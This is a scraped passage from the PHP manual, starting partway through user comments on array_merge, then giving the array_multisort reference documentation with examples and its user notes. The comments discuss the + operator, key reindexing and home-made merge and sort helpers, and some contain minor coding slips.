        //merge copy array into source array
                $i = 0;
        while (isset($copyArray[$i])){
            $sourceArray[] = $copyArray[$i];
            unset($copyArray[$i]);
            $i++;
        }
    }
?>

This fixed the problem. I would love to know if there is an even faster, more efficient way. Simply adding the two arrays won't work since there is an overlap of index.
nekroshorume at gmail dot com 18-Mar-2010 07:31
be aware there is a slight difference:

<?php
$array1 = array('lang'=>'js','method'=>'GET');
$array2 = array('lang'=>'php','browser'=>'opera','method'=>'POST');
?>

BETWEEN:

<?php array_merge($array2,$array1); ?>
outputs: Array ( [lang] => js [browser] => opera [method] => GET )

notice that the repeated keys will be overwritten by the ones of $array1, maintaining those, because it is the array that is being merged

AND

<?php array_merge($array1,$array2); ?>
outputs: Array ( [lang] => php [method] => POST [browser] => opera )

here the oposite takes place: array1 will have its elements replaced by those of array2.
riddlemd at gmail dot com 22-Jan-2010 09:43
Apparently there is a shorthand that works very much like array_merge. I figured I would leave a comment here, sense I saw it used in code but found nothing about it from google searches.

<?php
$array = array(
 'name' => 'John Doe'
);
$array += array(
 'address' => 'someplace somestreet'
);

echo $array['address']; // Outputs 'someplace somestreet'
?>

A difference from merge_array, it does NOT overwrite existing keys, regardless of key type.
allankelly 02-Oct-2009 05:36
More on the union (+) operator:
the order of arrays is important and does not agree in my test below
with the other posts. The 'unique' operation preserves the initial key-value and discards later duplicates.

PHP 5.2.6-2ubuntu4.2

<?php
$a1=array('12345'=>'a', '23456'=>'b', '34567'=>'c', '45678'=>'d');
$a2=array('34567'=>'X');
$a3=$a1 + $a2;
$a4=$a2 + $a1;
print('a1:'); print_r($a1);
print('a2:'); print_r($a2);
print('a3:'); print_r($a3);
print('a4:'); print_r($a4);
?>

a1:Array
(
    [12345] => a
    [23456] => b
    [34567] => c
    [45678] => d
)
a2:Array
(
    [34567] => X
)
a3:Array
(
    [12345] => a
    [23456] => b
    [34567] => c
    [45678] => d
)
a4:Array
(
    [34567] => X
    [12345] => a
    [23456] => b
    [45678] => d
)
Tudor 27-Sep-2009 10:10
array_merge will merge numeric keys in array iteration order, not in increasing numeric order. For example:

<?php
$a = array(0=>10, 1=>20);  // same as array(10, 20);
$b = array(0=>30, 2=>50, 1=>40);
?>

array_merge($a, $b) will be array(10, 20, 30, 50, 40) and not array(10, 20, 30, 40, 50).
Julian Egelstaff 16-Aug-2009 10:02
More about the union operator (+)...

The "array_unique" that gets applied, is actually based on the keys, not the values.  So if you have multiple values with the same key, only the last one will be preserved.

<?php

$array1[0] = "zero";
$array1[1] = "one";

$array2[0] = 0;
$array1[1] = 1;

$array3 = $array1 + $array2;

// array3 will look like:
// array(0=>0, 1=>1)
// ie: beware of the latter keys overwriting the former keys

?>
Julian Egelstaff 31-Jul-2009 08:48
In some situations, the union operator ( + ) might be more useful to you than array_merge.  The array_merge function does not preserve numeric key values.  If you need to preserve the numeric keys, then using + will do that.

ie:

<?php

$array1[0] = "zero";
$array1[1] = "one";

$array2[1] = "one";
$array2[2] = "two";
$array2[3] = "three";

$array3 = $array1 + $array2;

//This will result in::

$array3 = array(0=>"zero", 1=>"one", 2=>"two", 3=>"three");

?>

Note the implicit "array_unique" that gets applied as well.  In some situations where your numeric keys matter, this behaviour could be useful, and better than array_merge.

--Julian
enaeseth at gmail dot com 20-Jul-2009 11:27
In both PHP 4 and 5, array_merge preserves references in array values. For example:

<?php
$foo = 12;
$array = array("foo" => &$foo);
$merged_array = array_merge($array, array("bar" => "baz"));
$merged_array["foo"] = 24;
assert($foo === 24); // works just fine
?>
jerry at gii dot co dot jp 12-Mar-2009 04:35
There was a previous note that alluded to this, but at least in version 5.2.4 array_merge will return NULL if any of the arguments are NULL. This bit me with $_POST when none of the controls were successful.
carrox at inbox dot lv 01-Sep-2008 01:41
Usage of operand '+' for merging arrays:

<?php

$a=array(
'a'=>'a1',
'b'=>'a2',
'a3',
'a4',
'a5');

$b=array('b1',
'b2',
'a'=>'b3',
'b4');

$a+=$b;

print_r($a);

?>

output:
Array
(
    [a] => a1
    [b] => a2
    [0] => a3
    [1] => a4
    [2] => a5
    [3] => b5
)

numeric keys of elements of array B what not presented in array A was added.

<?php

$a=array('a'=>'a1','b'=>'a2','a3','a4','a5');
$b=array(100=>'b1','b2','a'=>'b3','b4');

$a+=$b;

print_r($a);

?>

output:

   [a] => a1
    [b] => a2
    [0] => a3
    [1] => a4
    [2] => a5
    [100] => b1
    [101] => b2
    [102] => b4

autoindex for array B started from 100, these keys not present in array A, so this elements was added to array A
ron at ronfolio dot com 12-Aug-2008 03:44
I needed a function similar to ian at fuzzygroove's array_interlace, but I need to pass more than two arrays.

Here's my version, You can pass any number of arrays and it will interlace and key them properly.

<?php
function array_interlace() {
    $args = func_get_args();
    $total = count($args);

    if($total < 2) {
        return FALSE;
    }

    $i = 0;
    $j = 0;
    $arr = array();

    foreach($args as $arg) {
        foreach($arg as $v) {
            $arr[$j] = $v;
            $j += $total;
        }

        $i++;
        $j = $i;
    }

    ksort($arr);
    return array_values($arr);
}
?>

Example usage:
<?php
$a = array('a', 'b', 'c', 'd');
$b = array('e', 'f', 'g');
$c = array('h', 'i', 'j');
$d = array('k', 'l', 'm', 'n', 'o');

print_r(array_interlace($a, $b, $c, $d));
?>

result:

Array
(
    [0] => a
    [1] => e
    [2] => h
    [3] => k
    [4] => b
    [5] => f
    [6] => i
    [7] => l
    [8] => c
    [9] => g
    [10] => j
    [11] => m
    [12] => d
    [13] => n
    [14] => o
)

Let me know if you improve on it.
david_douard at hotmail dot com 02-Jul-2008 11:41
To avoid REINDEXING issues,

use + operator :

array_merge(
          array("truc" => "salut"),
          array("machin" => "coucou")
        )

returns

array(2)
{
[0] => string() "salut"
[1] => string() "coucou"
}

whereas

array("truc" => "salut") + array("machin" => "coucou")

returns

array(2)
{
["truc"] => string() "salut"
["machin"] => string() "coucou"
}
bishop 04-Apr-2008 11:02
The documentation is a touch misleading when it says: "If only one array is given and the array is numerically indexed, the keys get reindexed in a continuous way."  Even with two arrays, the resulting array is re-indexed:

[bishop@predator staging]$ cat array_merge.php
<?php
$a = array (23 => 'Hello', '42' => 'World');
$a = array_merge(array (0 => 'I say, '), $a);
var_dump($a);
?>
[bishop@predator staging]$ php-5.2.5 array_merge.php
array(3) {
  [0]=>
  string(7) "I say, "
  [1]=>
  string(5) "Hello"
  [2]=>
  string(5) "World"
}
[bishop@predator staging]$ php-4.4.7 array_merge.php
array(3) {
  [0]=>
  string(7) "I say, "
  [1]=>
  string(5) "Hello"
  [2]=>
  string(5) "World"
}
no_one at nobody dot com 03-Mar-2008 05:31
PHP is wonderfully decides if an array key could be a number, it is a number!  And thus wipes out the key when you array merge.   Just a warning.

$array1['4000'] = 'Grade 1 Widgets';
$array1['4000a'] = 'Grade A Widgets';
$array2['5830'] = 'Grade 1 Thing-a-jigs';
$array2['HW39393'] = 'Some other widget';

var_dump($array1);
var_dump($array2);

//results in...
array(2) {
  [4000]=>
  string(15) "Grade 1 Widgets"
  ["4000a"]=>
  string(15) "Grade A Widgets"
}
array(2) {
  [5830]=>
  string(20) "Grade 1 Thing-a-jigs"
  ["HW39393"]=>
  string(17) "Some other widget"
}

var_dump(array_merge($array1,$array2));
//results in...
array(4) {
  [0]=>
  string(15) "Grade 1 Widgets"
  ["4000a"]=>
  string(15) "Grade A Widgets"
  [1]=>
  string(20) "Grade 1 Thing-a-jigs"
  ["HW39393"]=>
  string(17) "Some other widget"
}
Hayley Watson 04-Nov-2007 09:38
As has already been noted before, reindexing arrays is most cleanly performed by the array_values() function.
clancyhood at gmail dot com 22-Jul-2007 01:52
Similar to Jo I had a problem merging arrays (thanks for that Jo you kicked me out of my debugging slumber) - array_merge does NOT act like array_push, as I had anticipated

<?php

$array = array('1', 'hello');
array_push($array, 'world');

var_dump($array);

// gives '1', 'hello', 'world'

$array = array('1', 'hello');
array_merge($array, array('world'));

// gives '1', 'hello'

$array = array('1', 'hello');
$array = array_merge($array, array('world'));

// gives '1', 'hello', 'world'

?>

hope this helps someone
Joe at neosource dot com dot au 04-Jun-2007 08:51
I found the "simple" method of adding arrays behaves differently as described in the documentation in PHP v5.2.0-10.

$array1 + $array2 will only combine entries for keys that don't already exist.

Take the following example:

$ar1 = array('a', 'b');
$ar2 = array('c', 'd');
$ar3 = ($ar1 + $ar2);
print_r($ar3);

Result:

Array
(
    [0] => a
    [1] => b
)

Where as:

$ar1 = array('a', 'b');
$ar2 = array('c', 'd');
$ar3 = array_merge($ar1, $ar2);
print_r($ar3);

Result:

Array
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
)

Hope this helps someone.
RQuadling at GMail dot com 21-May-2007 02:05
For asteddy at tin dot it and others who are trying to merge arrays and keep the keys, don't forget the simple + operator.

Using the array_merge_keys() function (with a small mod to deal with multiple arguments), provides no difference in output as compared to +.

<?php
$a = array(-1 => 'minus 1');
$b = array(0 => 'nought');
$c = array(0 => 'nought');
var_export(array_merge_keys($a,$b));
var_export($a + $b);
var_export(array_merge_keys($a,$b,$c));
var_export($a + $b + $c);
?>

results in ...

array (  -1 => 'minus 1',  0 => 'nought',)
array (  -1 => 'minus 1',  0 => 'nought',)
array (  -1 => 'minus 1',  0 => 'nought',)
array (  -1 => 'minus 1',  0 => 'nought',)
Marce! 02-Mar-2007 01:21
I have been searching for an in-place merge function, but couldn't find one. This function merges two arrays, but leaves the order untouched.
Here it is for all others that want it:

function inplacemerge($a, $b) {
  $result = array();
  $i = $j = 0;
  if (count($a)==0) { return $b; }
  if (count($b)==0) { return $a; }
  while($i < count($a) && $j < count($b)){
    if ($a[$i] <= $b[$j]) {
      $result[] = $a[$i];
      if ($a[$i]==$b[$j]) { $j++; }
      $i++;
    } else {
      $result[] = $b[$j];
      $j++;
    }
  }
  while ($i<count($a)){
    $result[] = $a[$i];
    $i++;
  }
  while ($j<count($b)){
    $result[] = $b[$j];
    $j++;
  }
  return $result;
}
ahigerd at stratitec dot com 24-Jan-2007 03:06
An earlier comment mentioned that array_splice is faster than array_merge for inserting values. This may be the case, but if your goal is instead to reindex a numeric array, array_values() is the function of choice. Performing the following functions in a 100,000-iteration loop gave me the following times: ($b is a 3-element array)

array_splice($b, count($b)) => 0.410652
$b = array_splice($b, 0) => 0.272513
array_splice($b, 3) => 0.26529
$b = array_merge($b) => 0.233582
$b = array_values($b) => 0.151298
zspencer at zacharyspencer dot com 09-Nov-2006 05:55
I noticed the lack of a function that will safely merge two arrays without losing data due to duplicate keys but different values.

So I wrote a quicky that would offset duplicate keys and thus preserve their data. of course, this does somewhat mess up association...

<?php
$array1=array('cats'=>'Murder the beasties!', 'ninjas'=>'Use Ninjas to murder cats!');
$array2=array('cats'=>'Cats are fluffy! Hooray for Cats!', 'ninjas'=>'Ninas are mean cat brutalizers!!!');
$array3=safe_array_merge($array1, $array2);
print_r($array3)
/*
Array {
cats => Murder the beasties!,
ninjas => Use ninjas to murder cats!,

?>
cats_0 => Cats are fluffy! Hooray for Cats!,
ninjas_0 => Ninjas are mean cat brutalizers!!!
}

function safe_array_merge ()
{
    $args = func_get_args();
    $result=array();
    foreach($args as &$array)
    {
        foreach($array as $key=>&$value)
        {
            if(isset($result[$key]))
            {
                $continue=TRUE;
                $fake_key=0;
                while($continue==TRUE)
                {
                    if(!isset($result[$key.'_'.$fake_key]))
                    {
                        $result[$key.'_'.$fake_key]=$value;
                        $continue=FALSE;
                    }
                    $fake_key++;
                }
            }
            else
            {
                $result[$key]=$value;
            }
        }
    }
    return $result;
}
?>
01-Nov-2006 03:47
A more efficient array_merge that preserves keys, truly accepts an arbitrary number of arguments, and saves space on the stack (non recursive):
<?php
function array_merge_keys(){
    $args = func_get_args();
    $result = array();
    foreach($args as &$array){
        foreach($array as $key=>&$value){
            $result[$key] = $value;
        }
    }
    return $result;
}
?>
BigueNique at yahoo dot ca 29-Sep-2006 04:10
Needed an quick array_merge clone that preserves the keys:

<?php
// function array_join
// merges 2 arrays preserving the keys,
// even if they are numeric (unlike array_merge)
// if 2 keys are identical, the last one overwites
// the existing one, just like array_merge
// merges up to 10 arrays, minimum 2.
function array_join($a1, $a2, $a3=null, $a4=null, $a5=null, $a6=null, $a7=null, $a8=null, $a9=null, $a10=null) {
    $a=array();
    foreach($a1 as $key=>$value) $a[$key]=$value;
    foreach($a2 as $key=>$value) $a[$key]=$value;
    if (is_array($a3)) $a=array_join($a,$a3,$a4,$a5,$a6,$a7,$a8,$a9,$a10);
    return $a;
}
?>
poison 12-Sep-2006 02:45
You can use array_slice() in combination with array_merge() to insert values into an array like this:

<?php
$test=range(0, 10);
$index=2;
$data="---here---";
$result=array_merge(array_slice($test, 0, $index), array($data), array_slice($test, $index));
var_dump($result);
?>
dercsar at gmail dot com 04-Sep-2006 10:34
array_merge() overwrites ALL numerical indexes. No matter if you have non-numerical indexes or more than just one array.
It reindexes them all. Period.

(Only tried in 4.3.10)
anonyme 20-Jul-2006 03:02
I don't think that the comment on + operator for array in array_merge page, was understandable, this is just a little test to know exactly what's happend.

<?php
//test code for (array)+(array) operator
$a1 = array( '10', '11' , '12' , 'a' => '1a', 'b' => '1b');
$a2 = array( '20', '21' , '22' , 'a' => '2a', 'c' => '2c');

$a = $a1 + $a2;
print_r( $a );
//result: Array ( [0] => 10
//                [1] => 11
//                [2] => 12
//                [a] => 1a
//                [b] => 1b
//                [c] => 2c )

$a = $a2 + $a1;
print_r( $a );
//result: Array ( [0] => 20
//                [1] => 21
//                [2] => 22
//                [a] => 2a
//                [c] => 2c
//                [b] => 1b )

?>
chris at luethy dot net 13-Jul-2006 02:36
Do not use this to set the $_SESSION variable.

$_SESSION = array_merge( $_SESSION, $another_array );

will break your $_SESSION until the end of the execution of that page.
hs at nospam dot magnum-plus dot com 29-Dec-2005 11:50
The same result as produced by snookiex_at_gmail_dot_com's function
can be achieved with the 'one-liner'
<?php
$array1=array(1,2,3);
$array2=array('a','b','c');

$matrix = array_map(null, $array1, $array2);
?>
(see documentation of array_map).
The difference here is, that the shorter array gets filled with empty values.
kaigillmann at gmxpro dot net 02-Nov-2005 12:56
If you need to merge two arrays without having multiple entries, try this:

<?php
function array_fusion($ArrayOne, $ArrayTwo)
{
    return array_unique(array_merge($ArrayOne, $ArrayTwo));
}
?>
php at moechofe dot com 20-Jul-2005 01:58
<?php

  /*
  * array_deep_merge
  *
  * array array_deep_merge ( array array1 [, array array2 [, array ...]] )
  *
  * Like array_merge
  *
  *   array_deep_merge() merges the elements of one or more arrays together so
  * that the values of one are appended to the end of the previous one. It
  * returns the resulting array.
  *   If the input arrays have the same string keys, then the later value for
  * that key will overwrite the previous one. If, however, the arrays contain
  * numeric keys, the later value will not overwrite the original value, but
  * will be appended.
  *   If only one array is given and the array is numerically indexed, the keys
  * get reindexed in a continuous way.
  *
  * Different from array_merge
  *   If string keys have arrays for values, these arrays will merge recursively.
  */
  function array_deep_merge()
  {
    switch( func_num_args() )
    {
      case 0 : return false; break;
      case 1 : return func_get_arg(0); break;
      case 2 :
        $args = func_get_args();
        $args[2] = array();
        if( is_array($args[0]) and is_array($args[1]) )
        {
          foreach( array_unique(array_merge(array_keys($args[0]),array_keys($args[1]))) as $key )
          if( is_string($key) and is_array($args[0][$key]) and is_array($args[1][$key]) )
            $args[2][$key] = array_deep_merge( $args[0][$key], $args[1][$key] );
          elseif( is_string($key) and isset($args[0][$key]) and isset($args[1][$key]) )
            $args[2][$key] = $args[1][$key];
          elseif( is_integer($key) and isset($args[0][$key]) and isset($args[1][$key]) ) {
            $args[2][] = $args[0][$key]; $args[2][] = $args[1][$key]; }
          elseif( is_integer($key) and isset($args[0][$key]) )
            $args[2][] = $args[0][$key];
          elseif( is_integer($key) and isset($args[1][$key]) )
            $args[2][] = $args[1][$key];
          elseif( ! isset($args[1][$key]) )
            $args[2][$key] = $args[0][$key];
          elseif( ! isset($args[0][$key]) )
            $args[2][$key] = $args[1][$key];
          return $args[2];
        }
        else return $args[1]; break;
      default :
        $args = func_get_args();
        $args[1] = array_deep_merge( $args[0], $args[1] );
        array_shift( $args );
        return call_user_func_array( 'array_deep_merge', $args );
        break;
    }
  }

  /*
  * test
  */
  $a = array(
    0,
    array( 0 ),
    'integer' => 123,
    'integer456_merge_with_integer444' => 456,
    'integer789_merge_with_array777' => 789,
    'array' => array( "string1", "string2" ),
    'array45_merge_with_array6789' => array( "string4", "string5" ),
    'arraykeyabc_merge_with_arraykeycd' => array( 'a' => "a", 'b' => "b", 'c' => "c" ),
    'array0_merge_with_integer3' => array( 0 ),
    'multiple_merge' => array( 1 ),
  );

  $b = array(
    'integer456_merge_with_integer444' => 444,
    'integer789_merge_with_array777' => array( 7,7,7 ),
    'array45_merge_with_array6789' => array( "string6", "string7", "string8", "string9" ),
    'arraykeyabc_merge_with_arraykeycd' => array( 'c' => "ccc", 'd' => "ddd" ),
    'array0_merge_with_integer3' => 3,
    'multiple_merge' => array( 2 ),
  );

  $c = array(
    'multiple_merge' => array( 3 ),
  );

  echo "<pre>".htmlentities(print_r( array_deep_merge( $a, $b, $c ), true))."</pre>";

?>
ntpt at centrum dot cz 14-Jul-2005 03:44
Old behavior of array_merge can be restored by simple  variable type casting like this

array_merge((array)$foo,(array)$bar);

works good in php 5.1.0 Beta 1, not tested in other versions

seems that empty or not set variables are casted to empty arrays
Alec Solway 20-Jan-2005 07:05
Note that if you put a number as a key in an array, it is eventually converted to an int even if you cast it to a string or put it in quotes.

That is:

$arr["0"] = "Test";
var_dump( key($arr) );

will output int(0).

This is important to note when merging because array_merge will append values with a clashing int-based index instead of replacing them. This kept me tied up for hours.
nospam at veganismus dot ch 11-Jan-2005 03:38
Someone posted a function with the note:
"if u need to overlay a array that holds defaultvalues with another that keeps the relevant data"

<?
//about twice as fast but the result is the same.
//note: the sorting will be messed up!
function array_overlay($skel, $arr) {
    return $arr+$skel;
}

//example:
$a = array("zero","one","two");
$a = array_overlay($a,array(1=>"alpha",2=>NULL));
var_dump($a);
/* NULL is ignored so the output is:
array(3) {
  [1]=>
  string(5) "alpha"
  [0]=>
  string(4) "zero"
  [2]=>
  string(3) "two"
}
*/
?>
Frederick.Lemasson{AT}kik-it.com 23-Dec-2004 11:57
if you generate form select from an array, you probably want to keep your array keys and order intact,
if so you can use ArrayMergeKeepKeys(), works just like array_merge :

array ArrayMergeKeepKeys ( array array1 [, array array2 [, array ...]])

but keeps the keys even if of numeric kind.
enjoy

<?

$Default[0]='Select Something please';

$Data[147]='potato';
$Data[258]='banana';
$Data[54]='tomato';

$A=array_merge($Default,$Data);

$B=ArrayMergeKeepKeys($Default,$Data);

echo '<pre>';
print_r($A);
print_r($B);
echo '</pre>';

Function ArrayMergeKeepKeys() {
      $arg_list = func_get_args();
      foreach((array)$arg_list as $arg){
          foreach((array)$arg as $K => $V){
              $Zoo[$K]=$V;
          }
      }
    return $Zoo;
}

//will output :

Array
(
    [0] => Select Something please
    [1] => potato
    [2] => banana
    [3] => tomato
)
Array
(
    [0] => Select Something please
    [147] => potato
    [258] => banana
    [54] => tomato
)

?>
bcraigie at bigfoot dot com 24-Aug-2004 09:37
It would seem that array_merge doesn't do anything when one array is empty (unset):

<?php //$a is unset
$b = array("1" => "x");

$a = array_merge($a, $b});

//$a is still unset.
?>

to fix this omit $a if it is unset:-

<?php
if(!IsSet($a)) {
    $a = array_merge($b);
} else {
  $a = array_merge($a, $b);
}
?>

I don't know if there's a better way.
frankb at fbis dot net 25-Feb-2004 01:02
to merge arrays and preserve the key i found the following working with php 4.3.1:

<?php
$array1 = array(1 => "Test1", 2 => "Test2");
$array2 = array(3 => "Test3", 4 => "Test4");

$array1 += $array2;
?>

dont know if this is working with other php versions but it is a simple and fast way to solve that problem.
rcarvalhoREMOVECAPS at clix dot pt 03-Nov-2003 09:43
While searching for a function that would renumber the keys in a array, I found out that array_merge() does this if the second parameter is null:

Starting with array $a like:

<?php
Array
(
    [5] => 5
    [4] => 4
    [2] => 2
    [9] => 9
)
?>

Then use array_merge() like this:

<?php
$a = array_merge($a, null);
?>

Now the $a array has bee renumbered, but maintaining the order:

<?php
Array
(
    [0] => 5
    [1] => 4
    [2] => 2
    [3] => 9
)
?>

Hope this helps someone :-)
loner at psknet dot !NOSPAM!com 30-Sep-2003 12:00
I got tripped up for a few days when I tried to merge a (previously serialized) array into a object. If it doesn't make sense, think about it... To someone fairly new, it could... Anyway, here is what I did:
(It's obviously not recursive, but easy to make that way)
<?php
function array_object_merge(&$object, $array) {
    foreach ($array as $key => $value)
        $object->{$key} = $value;
}
?>

Simple problem, but concevibly easy to get stuck on.
04-Sep-2003 12:10
For those who are getting duplicate entries when using this function, there is a very easy solution:

wrap array_unique() around array_merge()

cheers,

k.
tobias_mik at hotmail dot com 25-Jul-2003 02:14
This function merges any number of arrays and maintains the keys:

<?php
function array_kmerge ($array) {
 reset($array);
 while ($tmp = each($array))
 {
  if(count($tmp['value']) > 0)
  {
   $k[$tmp['key']] = array_keys($tmp['value']);
   $v[$tmp['key']] = array_values($tmp['value']);
  }
 }
 while($tmp = each($k))
 {
  for ($i = $start; $i < $start+count($tmp['value']); $i ++)$r[$tmp['value'][$i-$start]] = $v[$tmp['key']][$i-$start];
  $start = count($tmp['value']);
 }
 return $r;
}
?>


Sort multiple or multi-dimensional arrays

  • Â« array_merge
  • array_pad Â»
  • PHP Manual
  • Array Functions
  • Sort multiple or multi-dimensional arrays

array_multisort

(PHP 4, PHP 5)

array_multisort — Sort multiple or multi-dimensional arrays

Description

bool array_multisort ( array &$array1 [, mixed $array1_sort_order = SORT_ASC [, mixed $array1_sort_flags = SORT_REGULAR [, mixed $... ]]] )

array_multisort() can be used to sort several arrays at once, or a multi-dimensional array by one or more dimensions.

Associative (string) keys will be maintained, but numeric keys will be re-indexed.

Parameters

array1

An array being sorted.

array1_sort_order

The order used to sort the previous array argument. Either SORT_ASC to sort ascendingly or SORT_DESC to sort descendingly.

This argument can be swapped with array1_sort_flags or omitted entirely, in which case SORT_ASC is assumed.

array1_sort_flags

Sort options for the previous array argument:

Sorting type flags:

  • SORT_REGULAR - compare items normally (don't change types)
  • SORT_NUMERIC - compare items numerically
  • SORT_STRING - compare items as strings
  • SORT_LOCALE_STRING - compare items as strings, based on the current locale. It uses the locale, which can be changed using setlocale()
  • SORT_NATURAL - compare items as strings using "natural ordering" like natsort()
  • SORT_FLAG_CASE - can be combined (bitwise OR) with SORT_STRING or SORT_NATURAL to sort strings case-insensitively

This argument can be swapped with array1_sort_order or omitted entirely, in which case SORT_REGULAR is assumed.

...

More arrays, optionally followed by sort order and flags.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.4.0 | The SORT_NATURAL and SORT_FLAG_CASE were added to array1_sort_flags as possible sort flags.
5.3.0 | The SORT_LOCALE_STRING was added to array1_sort_flags as possible sort flags.

Examples

Example #1 Sorting multiple arrays

<?php
$ar1 = array(10, 100, 100, 0);
$ar2 = array(1, 3, 2, 4);
array_multisort($ar1, $ar2);

var_dump($ar1);
var_dump($ar2);
?>

In this example, after sorting, the first array will contain 0, 10, 100, 100. The second array will contain 4, 1, 2, 3. The entries in the second array corresponding to the identical entries in the first array (100 and 100) were sorted as well.

array(4) {
  [0]=> int(0)
  [1]=> int(10)
  [2]=> int(100)
  [3]=> int(100)
}
array(4) {
  [0]=> int(4)
  [1]=> int(1)
  [2]=> int(2)
  [3]=> int(3)
}

Example #2 Sorting multi-dimensional array

<?php
$ar = array(
       array("10", 11, 100, 100, "a"),
       array(   1,  2, "2",   3,   1)
      );
array_multisort($ar[0], SORT_ASC, SORT_STRING,
                $ar[1], SORT_NUMERIC, SORT_DESC);
var_dump($ar);
?>

In this example, after sorting, the first array will transform to "10", 100, 100, 11, "a" (it was sorted as strings in ascending order). The second will contain 1, 3, "2", 2, 1 (sorted as numbers, in descending order).

array(2) {
  [0]=> array(5) {
    [0]=> string(2) "10"
    [1]=> int(100)
    [2]=> int(100)
    [3]=> int(11)
    [4]=> string(1) "a"
  }
  [1]=> array(5) {
    [0]=> int(1)
    [1]=> int(3)
    [2]=> string(1) "2"
    [3]=> int(2)
    [4]=> int(1)
  }
}

Example #3 Sorting database results

For this example, each element in the data array represents one row in a table. This type of dataset is typical of database records.

Example data:

volume | edition
-------+--------
    67 |       2
    86 |       1
    85 |       6
    98 |       2
    86 |       6
    67 |       7

The data as an array, called data. This would usually, for example, be obtained by looping with mysql_fetch_assoc().

<?php
$data[] = array('volume' => 67, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 1);
$data[] = array('volume' => 85, 'edition' => 6);
$data[] = array('volume' => 98, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 6);
$data[] = array('volume' => 67, 'edition' => 7);
?>

In this example, we will order by volume descending, edition ascending.

We have an array of rows, but array_multisort() requires an array of columns, so we use the below code to obtain the columns, then perform the sorting.

<?php
// Obtain a list of columns
foreach ($data as $key => $row) {
    $volume[$key]  = $row['volume'];
    $edition[$key] = $row['edition'];
}

// Sort the data with volume descending, edition ascending
// Add $data as the last parameter, to sort by the common key
array_multisort($volume, SORT_DESC, $edition, SORT_ASC, $data);
?>

The dataset is now sorted, and will look like this:

volume | edition
-------+--------
    98 |       2
    86 |       1
    86 |       6
    85 |       6
    67 |       2
    67 |       7

Example #4 Case insensitive sorting

Both SORT_STRING and SORT_REGULAR are case sensitive, strings starting with a capital letter will come before strings starting with a lowercase letter.

To perform a case insensitive search, force the sorting order to be determined by a lowercase copy of the original array.

<?php
$array = array('Alpha', 'atomic', 'Beta', 'bank');
$array_lowercase = array_map('strtolower', $array);

array_multisort($array_lowercase, SORT_ASC, SORT_STRING, $array);

print_r($array);
?>

The above example will output:

Array
(
    [0] => Alpha
    [1] => atomic
    [2] => bank
    [3] => Beta
)

See Also

  • usort() - Sort an array by values using a user-defined comparison function
  • The comparison of array sorting functions

User Contributed Notes

jcharpentier at darkmira dot fr 24-Feb-2014 02:11
There is a lack of precision for the second example :

Example #2 Sorting multi-dimensional array

The explanation is :
"In this example, [...] The second will contain 1, 3, "2", 2, 1 (sorted as numbers, in descending order). "
This could be misunderstood cause a sort as numbers in descending order will be 1, 1, "2", 2, 3.

My proposal is as follows (in a best english should be great ^^) :
"In this example, [...] The second will contain 1, 3, "2", 2, 1 (sorted as well as first one, except for values 3 and "2" sorted as numbers, in descending order).  Because they are corresponding to the identical entries in the first array (100 and 100) which couldn't be sorted at first time."
Robert C 09-Jan-2014 09:11
Hi,

I would like to see the next code snippet to be added to http://nl3.php.net/array_multisort

Purpose: Sort a 2-dimensional array on some key(s)

Advantage of function:
- uses PHP's array_multisort function for sorting;
- it prepares the arrays (needed by array_multisort) for you;
- allows the sort criteria be passed as a separate array (It is possible to use sort order and flags.);
- easy to set/overwrite the way strings are sorted (case insensitive instead of case sensitive, which is PHP's default way of sorting);
- performs excellent

function MultiSort($data, $sortCriteria, $caseInSensitive = true)
{
  if( !is_array($data) || !is_array($sortCriteria))
    return false;
  $args = array();
  $i = 0;
  foreach($sortCriteria as $sortColumn => $sortAttributes)
  {
    $colList = array();
    foreach ($data as $key => $row)
    {
      $convertToLower = $caseInSensitive && (in_array(SORT_STRING, $sortAttributes) || in_array(SORT_REGULAR, $sortAttributes));
      $rowData = $convertToLower ? strtolower($row[$sortColumn]) : $row[$sortColumn];
      $colLists[$sortColumn][$key] = $rowData;
    }
    $args[] = &$colLists[$sortColumn];

    foreach($sortAttributes as $sortAttribute)
    {
      $tmp[$i] = $sortAttribute;
      $args[] = &$tmp[$i];
      $i++;
     }
  }
  $args[] = &$data;
  call_user_func_array('array_multisort', $args);
  return end($args);
}

Usage:

//Fill an array with random test data
define('MAX_ITEMS', 15);
define('MAX_VAL', 20);
for($i=0; $i < MAX_ITEMS; $i++)
  $data[] = array('field1' => rand(1, MAX_VAL), 'field2' => rand(1, MAX_VAL), 'field3' => rand(1, MAX_VAL) );

//Set the sort criteria (add as many fields as you want)
$sortCriteria =
  array('field1' => array(SORT_DESC, SORT_NUMERIC),
       'field3' => array(SORT_DESC, SORT_NUMERIC)
  );

//Call it like this:
$sortedData = MultiSort($data, $sortCriteria, true);
Patrick Adrichem 17-Oct-2013 05:08
If you do not have PHP 5.4 installed yet and you cannot use SORT_NATURAL. This function sorts arrays natural multi-dimensional based on key value

this function can be used for arrays as

array ( name => array( key => value ) )
and

array( name => value ).

arrays as array( name => array( key => value), name => value) are not supported.

<?php
        static function natcasesortRecursive(&$aArray)
        {
            $bHasArrays = false;
            foreach ($aArray as $sKey => &$mValue)
            {
                if (true === is_array($mValue))
                {
                    self::natcasesortRecursive($mValue);
                    $bHasArrays = true;
                }
            }
            if (true === $bHasArrays)
            {
                uksort($aArray, 'strnatcasecmp');
            }
            else
            {
                natcasesort($aArray);
            }
        }
?>
Magento-User 12-Oct-2013 12:25
When sorting an array of (complex) objects, this function can give you a "Fatal error:  Nesting level too deep" since it directly compares elements in later arrays if the elements in earlier ones compare equal. This can be worked around with the Flag-Parameter:
<?php
$sortKeys = array_map($extractKey, $lotsOfComplexObjects);
array_multisort($sortKeys, $lotsOfComplexObjects, SORT_ASC, SORT_NUMERIC);
?>
I'm replacing an 'uasort()'-call which is significantly slower since it leads to a lot of calls to the comparison-function but most of the objects involved are recursive.

If this 'trick' gives a wrong order,  you need a better key.
srijishks at gmail dot com 23-Apr-2013 03:24
The size should be same for all sub arrays
plugboard at web dot de 04-Sep-2012 11:56
multisort an Array of Objects:

example object [$object with array of objects]: (class: test)
----------------------------------

test Object (
  [Artikel] => Array (
      [0] => test Object (
            [id] => 1
            [title] => CCCC
         )
      [1] => test Object (
            [id] => 2
            [title] => AAAA
         )
      [2] => test Object (
            [id] => 3
            [title] => DDDD
         )
      [3] => test Object (
            [id] => 4
            [title] => BBBB
         )
   )
)

----------------------------------

Simple PHP function: sort_arr_of_obj()

<?php
// --------------------------------------

/*
